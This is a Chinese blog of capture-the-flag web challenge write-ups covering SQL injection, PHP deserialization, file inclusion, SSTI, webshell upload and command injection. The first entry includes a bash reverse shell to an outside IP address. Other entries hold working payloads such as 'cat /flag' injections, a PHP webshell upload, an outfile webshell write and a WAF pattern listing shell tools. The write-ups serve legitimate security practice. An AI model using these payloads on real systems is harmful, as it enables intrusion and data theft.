2020年6月25日 DAS六月赛
简单的计算题1 – 100pt
非常简单的计算题
查看源代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os
app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) ## flag is in /flag try to get it @app.route('/', methods=['GET', 'POST']) def index(): def filter(string): for black_word in black_list: if black_word in string: return "hack" return string if request.method == 'POST': input = request.form['input'] create_question = create() input_question = session.get('question') session['question'] = create_question if input_question==None: return render_template('index.html', answer="Invalid session please try again!", question=create_question) if filter(input)=="hack": return render_template('index.html', answer="hack", question=create_question)
//关键代码
try: calc_result = str((eval(input_question + "=" + str(input))))
if calc_result == 'True':
result = "Congratulations"
elif calc_result == 'False':
result = "Error"
else: result = "Invalid"
except: result = "Invalid" return render_template('index.html', answer=result,question=create_question) if request.method == 'GET': create_question = create() session['question'] = create_question return render_template('index.html',question=create_question) @app.route('/source') def source(): return open("app.py", "r").read() if __name__ == '__main__': app.run(host="0.0.0.0", debug=False)
简单Python代码注入,看到import os就知道可以用反弹shell拿到flag,(注意Python里面的部分字符串转义)
服务器监听nc -lvp 8999
payload:
“正确计算结果” and os.system('/bin/bash -c \"/bin/bash -i > /dev/tcp/49.235.24.160/8999 0<&1 2>&1 &\"')
[强网杯 2019]随便注
时间:2020年7月5日20:51:32
题目来源:buuoj
解题过程:
首先加了'发现报错,疑似存在SQL注入
1' or 1=1 # 成功回显所有id
1' order by 2 # 爆出字段数为2
尝试联合查询
1' union select 1,databases(); #
回显如下:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
应该是过滤了一些关键字,尝试使用sqlmap,F12查看源码寻找参数,结果发现“sqlmap是没有灵魂的”字样,停下来思考了一番^v^。
先用加号尝试一下拆分关键词:1 "un"+"i"+"on" "se"+"l"+"ect" 1,2 #
成功回显了
然后尝试爆数据库名,发现总是不回显,1后面加单引号总是后面会多一个单引号,也不知道为什么,就没思路了。。
没办法了,直接搜wp了
是堆叠注入的知识点
-1';show tables#
直接回显了table名Orz太强了
但是select等语句被ban了也不好读flag,下面学学新的姿势
payload1:1';handler `1919810931114514` open;handler `1919810931114514` read first; #
这个payload用的是mysql专用关键字handler,使用方法就是handler tablename open 然后handler tablename read first;读取第一行 然后read next一直往下读取。
payload2:-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
这是sql预编译语句,
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
看payload就可以看懂
payload3:直接修改表名列名,我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
ttttttql
[NPUCTF2020]ReadlezPHP
时间:2020年7月11日13:55:24
题目来源:buuoj
解题过程:
拿到题还是熟悉的骷髅头,查看源码发现了time.php页面,发现源代码:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
一眼可见,核心代码应该是unserialize那里的反序列化操作。
大概可以知道传入data参数为序列化之后的字符串,反序列化后触发__destruct函数里面的操作,打印我们想要的结果,其中变量a,b的值是我们可控的。
然后就开始构造payload,最开始不知道$b($a)表示啥意思,手动敲了敲代码,发现应该是b的内容可以当函数名字来调用。
既然可以直接调用函数的话,首先想到的是一句话拿shell,发现变量函数屏蔽掉了eval等函数,
后面想到了看源码,file_get_contents,发现源码里面啥也没有。。。后面又想到直接看flag文件,发现找不到。。。。佛了。。。
后面去Google找php有啥关于shell的函数,找到的函数大部分都被屏蔽掉了,后面才找到assert函数,直接payload
/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
发现此函数可以用,顺手Ctrl+F,得到flag。
后面想构造$_post拿shell发现失败了也不知道啥原因。
[ACTF2020 新生赛]Include
时间:2020年7月12日14:00:17
题目来源:buuoj
解题过程:点击tips可以发现地址栏有file=flag.php立马想到文件包含,目录穿透一波../../../../../../../../../../../../../etc/passwd果然回显了内容
尝试../../../etc/passwd发现距离根目录有三层
尝试../../../var/www/html/flag.php发现了web所在的目录
用burpsuite字典爆破尝试穿透常见敏感文件都没有收获
想起了之前的伪协议,于是payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag!
有关php伪协议读取文件的知识我之前博客写过: [toc] https://yyz9.cn/archives/71#toc-head-17
[ACTF2020 新生赛]Exec
时间:2020年7月12日15:00:35
题目来源:buuoj
解题过程:这题很简单,被我1秒钟秒了,,
payload:
www.baidu.com ; cat /flag
是的,第一个payload就成功了!!!
考点就是linux在执行命令的时候可以用;分隔,达到执行多条命令的目的,而且这题没有任何过滤,所以直接就可以用上面那个payload。
[ACTF2020 新生赛]BackupFile
时间:2020年7月12日15:08:22
题目来源:buuoj
解题过程:直接/index.php.bak直接可以下载源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
intval是Get the integer value of a variable的意思
这里php弱类型比较,当key=123的时候跟str比较==就可以得到true
直接?key=123得到flag
[HCTF 2018]WarmUp
时间:2020年7月24日17:35:09
来源:buuoj
解题过程:
F12发现源代码,在源代码里面发现hint.php,里面说flag在ffffllllaaaagggg
php代码审计,耐心把代码分析一遍就做出来了
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
很明显include那里存在文件包含漏洞,关键是对输入参数的处理里面,其中mb_substr函数是返回字符串的字串,mb_strpos函数是返回字符首次出现的位置,这里两个函数连在一起用,是把字符串中’?’之前的字符串返回给$page,所以payload: hint.php? 后面跟任何字符串都会返回hint.php所以想到用目录穿透到根目录寻找flag:
hint.php?../../../../../../../../../../../../../../../../../../../ffffllllaaaagggg
得到flag,这道题做了大概40来分钟,真的需要耐心。。。。。
[护网杯 2018]easy_tornado
时间:2020年7月24日18:10:21
来源:buuoj
解题过程:本题考点是SSTI模板注入,
SSTI漏洞之前在B站某个大佬那里看到过,大概就是Python写的某些前端框架中,后端会对前端的数据进行渲染,从而减小前端的服务器压力,但是前端的模板在渲染过程中就会对用户的输入进行代码执行。
回到这道题,这题给了3个文件,每个文件的打开的时候还伴随着这个文件的filehash,hint文件里面给了filehash的由来:md5(cookie_secret+md5(filename)),,
在直接输入/ffffllllaaaagggg的时候发现了报错,注意到url上msg=Error,输出的正好也是Error,尝试看看有没有SSTI注入,将Error换成{{1}}
,果然打印出了1,尝试{{config}}没有发现信息,结果试了半天也不行,百度搜一手发现tornado的config文件要访问{{handler.settings}},然后回显{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'a3c2fc28-d38e-42ad-bdaa-5fecc8f1debe'}
发现了cookie_secret,直接根据那个hint计算出ffffllllaaaagggg文件的hash值,就得到了flag
[DASCTF-七月赛]Ezfileinclude
时间:2020年7月25日11:37:59
来源:DASCTF七月赛
解题过程:用时1小时,F12可以看到这个图片的链接http://183.129.189.60:10009/image.php?t=XXXXXX&f=XXXXXXX
发现f后面的是base64编码,解码过后就是下面显示的文件的文件名,尝试改成/flag的base64编码发现提醒时间不对,所以必须得修改t的值
其中t可以由Python里面的time.time()得到
先目录穿透一波发现过滤了../
,尝试了用url编码绕过,发现也不行,甚至读不出来image.php,思考了一番,读不出php文件只能读jpg文件,应该是有jpg文件限制的,后多次尝试发现在gqy.jpg后面加../可以读到etc/passwd,下面给出payload:
import time,requests,base64
url = 'http://183.129.189.60:10009/image.php?t='
url2 = '&f='
aim = b'gqy.jpg../../../../../../flag'
aim = str(base64.b64encode(aim), encoding='utf-8')
r = requests.get(url + str(int(time.time())) + url2 + aim)
print(r.text)
得到flag:flag{847d2f93276a21f084c44f4d74c61ef4}
[BJDCTF2020]Mark loves cat
时间:2020年8月1日17:48:21
来源:buuoj
解题过程:这题点开是个花里胡哨的前端,可是整个页面貌似没什么鸟用,只有最下面好像有个提交框,尝试了构造XSS,SQL注入,SSTI都没有很大的收获,后台扫描一波也没有收获,robots.txt也没有泄露信息,后面看wp发现可以扫出.git源码泄露,但是我Dirsearch并没有扫出来,之前还有一道题也是这样,也没扫出来,后面换了用dirb也没扫出来,直接用Githack就可以得到源码,如下:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
初看代码,真是各种变量花里胡哨,代码审计要耐心!
看那个双$的符号,之前也遇到过,写个代码试试就可以知道是用变量的值当变量的名称,那个foreach跟java里面的enhangced loop有点像,把循环体里面的键值对取出来依次赋值操作。
直接开始构造,get里面写flag=flag,post里面写$flag=flag,貌似可以bypass前几个过滤,但是最后一个过不了,后面怎么尝试思考都不行。
转换一下思路,最开始一直在bypass,后面注意到exit($xxx)里面有变量,而双$符号可以改变变量成为我们想要的可控变量。
下面给出payload:
POST /index.html?yds=flag HTTP/1.1
Host: 0845ec1c-de34-496f-8fc6-3d3f58c1a703.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0, no-cache
Content-Length: 9
Origin: http://eb14f65c-c39f-4cb4-a829-65559cbcface.node3.buuoj.cn
Pragma: no-cache
$yds=flag
GET:yds=flag
POST:$yds=flag
即可得到flag!
[SWPU2019]Web1
时间:2020年8月2日12:01:37
来源:buuoj
解题过程:wdnmd!!一直以为这道题是XSS盗取cookie,有40个字符限制,饶了半天,找了N个payload,花了1个多小时没弄出来。
中途警醒了一小会觉得有SQL注入存在,用sqlmap跑了一下没跑出来。
后面实在搞不出来就看wp,结果真的是SQL注入。。。
这道题过滤了 or 空格 # --+ --空格
等。
空格可以用/**/绕过,过滤了or就不能用orderby只能手动一个一个试,注释的话我在最后加了一个单引号貌似可以绕过。
burp抓包有自带cookie比较好多次尝试
首先试出来orderby是22个,database叫web1
title=1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
尝试使用information_schema发现过滤了or。。。。
尝试查看数据库版本,发现了10.2.26-MariaDB-log
后面发现了这个版本MySQL的一个新特性,sys.schema表
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schema,基础数据来自于performance_schema和information_schema两个库,本身数据库不存储数据。
但是自己在写payload的时候发现这个表不存在。。。貌似官方wp也是这么写的。
没得办法了,去看了WP,发现是表名users
,下次搞不出来猜一下吧
最后是无列名注入,多试试就出来了,payload:
1'/**/union/**/select/**/1,
(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
得到flag!
参考文章:http://lz2y.top/index.php/2020/04/%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-swpu2019web1/
[BJDCTF2020]Cookie is so stable
时间:2020年8月2日23:03:18
来源:buuoj
解题过程:打开页面前端也很好看,点进flag.php发现让我们输入自己的身份,输入admin后,提示欢迎admin,就没有任何信息了。
点击hint.phpF12发现让我们多看几眼cookies,cookie包含了PHPSESSID和user,其中user为我们输入的内容。
看了看robots.txt和.git都没有发现泄漏的点
在输入的地方尝试了XSS,SQL,SSTI模板注入等payload,发现了存在SSTI模板注入。
burp抓包后修改cookies中的user={{1}}
回显了1
修改user={{1+1}}
回显了What do you want to do?!,看来是过滤了。
之前看B站有个up主讲SSTI的时候就有一张图:
有了这张图思路就很清晰了,直接一个一个试
这道题的{{7*'7'}}
刚好可以试出来回显49,说明是Twig模板注入。
直接Google一手Twig模板注入payload,一会就找到了
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
原理的话大概就是利用Python或者PHP(这里应该是php的前端模板)中的内置的类里面的魔法方法来调用系统命令。
这里贴一个SSTI自动检测工具,方便以后查阅:https://github.com/epinna/tplmap。
[极客大挑战 2019]PHP
时间:2020年8月5日10:11:59
来源:buuoj
解题过程:又是一个前端很漂亮的页面提示说网站有备份,dir扫一下应该会发现,但是dir扫的时候出了问题。
之前扫buuoj 的题都会出现很多429状态码,搜了一下,429是Request too fast,线程设置少一点就好了,再换一个字典,再把429的统统屏蔽,终于扫出来了:
python3 dirsearch.py -u http://eac6bbf1-8699-4df5-ba7d-16de691fe733.node3.buuoj.cn -l dict_mode_dict.txt -e * -t 1 -x 429
下载下来的源码用Seay自动审计打开看看,自动审计一下没有发现漏洞,观察文件,style.css和index,js应该是前端的文件,看一下index.php里面:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
接收参数select,再反序列化,接着跳到class.php:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
可以看到name类里面有两个private变量,在destruct魔法方法里面判断这两个变量然后是否给出flag。
看到这里思路应该会很清晰,,利用反序列化漏洞绕过__weakup魔法方法,设置username和password分别为admin和100,本地环境构造一下:
<?php
class Name{
private $username = 'admin';
private $password = '100abc'; // php弱类型比较
}
$b = new Name();
$a = serialize($b);
echo $a;
?>
跑出来的结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:6:"100abc";}
绕过__weakup:把2换成大于2的数,比如3
再根据private变量的特性在第2,3个name左右加上%00,最终payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:6:"100abc";}
得到flag!
[GXYCTF2019]BabySQli
时间:2020年8月5日12:26:15
来源:buuoj
解题过程:SQL注入
输入:
admin' or 1=1 #
提示do not hack me!,发现过滤了or。后做题过程中发现过滤的关键字:or () = <>
输入:
admin' union select 1,2,3 #
试字段数发现3个字段不会报错。
记得之前遇到过mysql的一个特性就是sys.schema代替information_schema,尝试构造语句
admin' union select * from sys.schema_auto_increment_columns#
返回
Error: SELECT command denied to user '123'@'localhost' for table 'schema_auto_increment_columns'
看来权限不够。。
再多次尝试user和password过后发现构造1' union select 1,2,3 #
提示user错误,但是构造admin ' union select 1,2,3 #
提示password错误,说明一定有admin这个账户。
由于过滤了左右括号,而且不能用url编码绕过,导致了报错注入,盲注等都不能用。
看了wp,这道题是考的一个mysql的小知识点
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
意思是当我们联合查询不存在的数据时,MySQL会构造一个字段放在表里面,就可以造成随意登录的情况。
例如,我们构造:
-1' union select 1,'admin',123 #
会返回wrong password
把中间的admin换了就会返回wrong user,说明user在第二个字段的位置,构造:
username = -1' union select 1,'admin',123 #
就会在表中产生
1 | username | password |
---|---|---|
1 | admin | 123 |
1 | admin | ture_password |
的字段
只要过了username的检测(第二个字段设置为admin),就可以伪造一个密码,例如构造:
-1' union select 1,'admin',123 #
构造密码为123就可以成功登陆。
但是没有成功,原因应该是密码要md5加密(在实际开发中,大部分存在数据库中的密码都应该是md5的形式),把123的md5值换成第三个字段:
-1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #
密码为123,就成功的拿到了flag!
[ACTF2020 新生赛]Upload
时间:2020年8月5日13:23:25
来源:buuoj
解题过程:又是一个前端好看的题。。鼠标移动到中间的灯泡,发现是文件上传的题,只能上传jpg等照片格式的文件,应该只是前端过滤,打开burp抓包。
一句话写好,把后缀改成php会提示nonono,bad file~
POST / HTTP/1.1
Host: 306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: mUltipart/form-data; boundary=---------------------------4294271638175662211142851573
Content-Length: 356
Origin: http://306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn
Connection: close
Referer: http://306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1
-----------------------------4294271638175662211142851573
Content-Disposition: form-data; name="upload_file"; filename="SSTI.Php"
Content-Type: text/html
<?php phpinfo();
-----------------------------4294271638175662211142851573
Content-Disposition: form-data; name="submit"
upload
-----------------------------4294271638175662211142851573--
改成Php成功绕过,返回,Upload Success! Look here~ ./uplo4d/5a7967977c586ab48a83337f922b9cc2.Php
访问一下,返回的是文字,不能解析。
改成html也能成功上传,但是尖括号附近都会被注释掉,也不能解析,
改成phtml解析成功!!
最终获取flag的payload:
POST / HTTP/1.1
Host: 306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: mUltipart/form-data; boundary=---------------------------4294271638175662211142851573
Content-Length: 366
Origin: http://306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn
Connection: close
Referer: http://306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1
-----------------------------4294271638175662211142851573
Content-Disposition: form-data; name="upload_file"; filename="SSTI.phtml"
Content-Type: text/html
<?php system('cat /flag');
-----------------------------4294271638175662211142851573
Content-Disposition: form-data; name="submit"
upload
-----------------------------4294271638175662211142851573--```
当然也能用antsword连接,都是没问题的。
[BJDCTF2020]Easy MD5
时间:2020年8月6日22:53:02
来源:buuoj
解题过程:打开题目一个输入框,随便输入一个admin会以GET的形式提交到url上,再看其他的并没有发现任何信息,在response headers里面发现了关键信息:
Hint: select * from 'admin' where password=md5($pass,true)
这里提示的是sql的查询语句,那么就应该是从SQL注入方面下手,不过这个输入会转换成md5的值,那就应该不能进行常规的SQL注入了Orz
看wp发现这种md5加密的SQL注入是一种老套路,
由于在php中,md5($pass,true)函数加了true参数后会把加密过后的散列值转换成对应的16位原始二进制的字符串。
那么如果加密后的md5原始二进制字符串开头形如 ‘ or 1 就会造成SQL注入恒为真。
下面给出网上抄的$pass值
$pass = 'ffifdyop';
md5($pass,true) = "'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c";
我们得到的SQL注入语句就会变成
SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'
在MySQL中,以数字开头的一个字符串(0不算)被用作布尔值的时候都为真,所以这个SQL语句等价于:
SELECT * FROM admin WHERE username = 'admin' and password = '' or true
结果就会造成SQL注入!
成功后返回了下面的页面:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
很明显的md5 collision,做过很多了。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
1.以下值在md5加密后以0E开头:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
2.PHP中md5的函数特性(数组绕过)
md5([1,2,3]) == md5([4,5,6]) == NULL
[1] !== [2] && md5([1]) === md5([2])
所以GET传入a[]=1&b[]=2
就能够绕过了。
3.MD5碰撞
关于两个相同md5值的不同字符:
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
还有很多类似的可以直接Google,注意一点,post时一定要urlencode。
这里可以直接用数组绕过,传入a[]=1&b[]=2即可。
成功后返回以下界面:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里可以用数组绕过,也可以用2个相同的md5值。得到flag!
[安洵杯 2019]easy_web
时间:2020年8月9日13:07:13
来源:buuoj
解题过程:打开题目,2张图片,一张左上角的查看源码可以看到base64过后的图片内容,注意到url:
img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
其中img经过2次base64解码,再一次hex解码过后得到555.jpg
用同样的方法可以得到index.php的源码:
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
其中 echo `$cmd;可以用来执行系统命令。
后面关键的cmd参数如果过到了waf并且过了md5碰撞就可以得到flag
注意到waf过滤了很多执行系统命令的参数,这里参考命令执行绕过技巧一个一个payload打,最终可以用斜杠绕过,md5碰撞也比较简单,直接找两个一样的md5就行了,记得POST的时候url编码一下,最终payload:
POST /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=c\at+/fl\ag HTTP/1.1
Host: 6f6e35be-3d1f-4499-b804-0d45a083cf88.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 389
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
[GWCTF 2019]我有一个数据库
时间:2020年8月15日00:38:25
来源:buuoj
解题过程:打开页面是一串乱码,应该没什么用,F12没有发现有用信息,robots.txt发现关键信息phpinfo。
看了许久的phpinfo也没有发现可利用的点,Google一手phpinfo和数据库(题目是有一个数据库)的联系,发现可能存在phpmyadmin页面,输入到地址栏中果然存在phpmyadmin页面,并且是登录好了的页面可以直接进行SQL查询。
贴一个文章,里面详细讲述了phpmyadmin里面getshell的几种方法:
- SQL查询语句写入文件: select ‘<?php phpinfo();?>’ into outfile ‘/var/www/html/shell.php’;
- 通过设置日制查询文件getshell
- 特殊版本CVE
这里尝试了前两种,都返回了
#1045 - Access denied for user 'test'@'%' (using password: YES)
说明没有权限执行。
在phpmyadmin首页看到版本号为4.8.1
Google了一下CVE,果然有!
直接找里面的payload打就行:
phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../flag
实在没想到,就连2018年发布的phpmyadmin在index.php里面也会出现低级的文件包含漏洞!